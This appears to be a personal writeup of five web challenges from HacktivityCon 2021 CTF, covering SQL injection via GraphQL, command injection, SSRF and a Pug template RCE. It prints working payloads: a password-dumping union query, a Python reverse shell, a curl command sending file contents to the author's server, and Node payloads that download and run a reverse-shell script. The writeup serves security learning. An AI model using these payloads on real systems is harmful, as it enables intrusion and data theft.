HactivityCon 2021 CTF Web challenge writeup
I participated in HacktivityCon CTF 2021 that held on September 16, 1:30 PM PST - September 18, 1:30 PM PST.
This is my writeup.(Web challenge only!)
Medium
All Baked Up(SQLi via GraphQL, 114 solves)
Author: @congon4tor#2334 Grandma always knew how to make tried-and-true baked goods, and these recipes prove it!
Recon
This web app uses GraphQL.
We can extract GQL schema using GraphQL playground.
type Auth { token: String user: User! } type Mutation { authenticateUser(username: String!, password: String!): Auth createPost(name: String!, image: String, content: String): Post createUser(password: String!, username: String!): User } type Post { author: User content: String id: Int! image: String name: String } type Query { flag: String post(name: String!): [Post] posts: [Post] } type User { id: Int! password: String username: String }
If we query query { flag }
, then GQL returns the error message saying "message": "error authenticating user: invalid token"
.
And we also noticed that there is congon4tor
user, probably he's authenticated user.
Solution
In GQL, we can set some params for query, and sometimes this is vulnerable to SQLi.
If you insert single quote into name param, you can see SQL error.
Let's dig into. How about Union-based SQLi?
Bingo!! GQL returns the column numbers error.
After some test, finally we can extract congon4tor password(n8bboB!3%vDwiASVgKhv
).
query { post(name: "test' union select 1,2,3,username,5,password from users -- -") { id content author { username password } } }
Then, all we should do is to authenticate congon4tor to get his token.
Finally, we can query with token and Authorization header and get the flag.
Flag: flag{9d26b6e4a765ecd87fe03a1494c22236}
Integrity(OS command injection, 256 solves)
Author: @JohnHammond#6971 My school was trying to teach people about the CIA triad so they made all these dumb example applications... as if they know anything about information security. Supposedly they learned their lesson and tried to make this one more secure. Can you prove it is still vulnerable?
Recon
In previous challenge, we know this is a kind of os command injection chal.
And as the challenge description says, input filter is more strict.
Solution
%0a
is not filtered and works correctly, not difficult.
Payload: %0a cat flag.txt
flag: flag{62b8b3cb5b8c6803bf3dc585b1b5141d}
Hard
Availability(Blind OS command injection, 115 solves)
Author: @JohnHammond#6971 My school was trying to teach people about the CIA triad so they made all these dumb example applications... as if they know anything about information security. They said they fixed the bug from the last app, but they also said they knew they went overboard with the filtered characters, so they loosened things up a bit. Can you hack it?
Recon
The difference between previous chal and Availability is...
- The input filter on Availability is more loose than Integrity chal
- We cannot see any result of arbitrary command execution(blind os command injection)
We can confirm that our malicious command is executed using this payload:
127.0.0.1 %0a sleep 10
You can see the response is delayed.
Next, how should we do to read the flag in this situation?
In my experience, there are 2 ways to perform
Send a flag content via curl like
curl <http://my-server/?flag=$(cat /flag.txt)
.Establish reverse shell connection
As for first one, we can't because of the input filter.
$
→❌- backquote→❌
-
(hyphen)→❌{}
→❌=
→❌>
→⭕️<
→⭕️&, |
→❌ ....
Redirection(<>) is allowed in this challenge so we must use to solve.
hyphen is filtered? This means that we cannot use any command options like wget https://myserver/reverseshell.sh -P /tmp/shell.sh
.
So we need a solution without any letters above...
Solution
According to this page, sometimes an attacker uses base64-encoded reverse shell.
Base64 does not contain any special signs except for =
, but equal sign can be stripped so this is what we need!
I encoded this reverse shell payload:
import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("<your ip>",<your port>)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/bash")
hint: If your base64-encoded payload has =
, then add some #
letters in python payload until =
doesn't appear.
Then, execute these os commands via Availability app.
echo "your base64-encoded payload" > /tmp/payload.txt echo "import base64" > /tmp/shell.py echo "exec(base64.b64decode(open('/tmp/payload.txt').read()).decode('utf8'))" >> /tmp/shell.py python3 /tmp/shell.py
Finally we can establish connection and cat the flag.
memo
- I used
%0a if which python3 %0a then sleep 10 %0a fi
to confirm if we can use python3 command or not.- If it exists, the response delays
curl
,wget
,nc
does not exist from my investigation so I decided to use python3 command.
flag: flag{c11d098dd25a08816027174c14f7bf60}
OPA Secrets(SSRF, 136 solves)
Author: @congon4tor#2334 OPA! Check out our new secret management service
Recon
The source code are given. Let's check suspicious points.
On app.py, Idk the reason but a developer uses os.system(...)
to send an external request.
if ( ";" in url or "`" in url or "$" in url or "(" in url or "|" in url or "&" in url or "<" in url or ">" in url ): return redirect("settings?error=Invalid character") cmd = f"curl --request GET {url} --output ./static/images/{user['id']} --proto =http,https" status = os.system(cmd) if status != 0: return redirect("settings?error=Error fetching the image") user["picture"] = user_id return redirect("settings?success=Successfully updated the profile picture")
And there is also an internal API to change user's role.
headers = { "Content-Type": "application/json", } payload = f"""{{"user":"{username}","role":"{role}"}}""" r = requests.put( url=f"http://localhost:8181/v1/data/users/{id}", headers=headers, data=payload )
OK, the user congon4tor
has admin role and we cannot see his secret but if we modify his role, the end.
Solution
On /settings
endpoint, we can perform SSRF.
url=--request PUT -H 'Content-Type: application/json' -d '{"user":"congon4tor", "role":"user"}' http://localhost:8181/v1/data/users/1822f21a-d720-4494-a31f-943bec140789
Next, go to /getValue
endpoint and modify id value in JSON:
{ "id":"afce78a8-23d6-4f07-81f2-47c96ddb10cf" // congon4tor's flag secret_id }
flag: flag{589882d62d1c899d8b85db1af2076b39}
Unpugify(CVE, 45 solves)
Author: @congon4tor#2334 So.... I don't even know what to say...
Recon
Obviously, this challenge can be solved by using CVE(pug library CVE). We can convert Pug to HTML and pretty options is also available.
When I googled, I found that in this year RCE vulnerability was discovered and the vulnerable point is pretty option.
PoC is also disclosed→ github.com
I modify that PoC for this challenge.
pretty=');process.mainModule.constructor._load('child_process').exec('whoami');_=('
The problem is, we cannot see the result of RCE as same as previous challenge Availability
!!
However, there are no input filter so we can perform to set up reverse shell easily.
Solution
- Create reverse shell script on target server
pretty=');process.mainModule.constructor._load('child_process').exec('wget https://<my-server>/reverseshell.sh -P /tmp/shell.sh');_=('
- Just execute it
pretty=');process.mainModule.constructor._load('child_process').exec('bash /tmp/shell.sh');_=('
flag: flag{2336d11e6d316ff2d6ba7620ac9e46ab}
memo
- I'm not sure but probably we cannot use
&
and"
in this challenge. I tried to establish connection without putting reverse shell script via wget, but all my attempts were failed. - This might be the reason why the number of solvers is less than Availability challenge
- Idk why but I couldn't use
sleep
command to check if execution is done or not, so I usedif <command>; then curl https://<myserver>/?done; fi
instead.- I had to check my nginx access_log again and again
Conclusion
I played CTF for the first time in about 4 months and enjoyed so much. thanks hactivityCon CTF organizers.
(I wanna know how to exploit Bumblebee and Spiral CI...)
Final results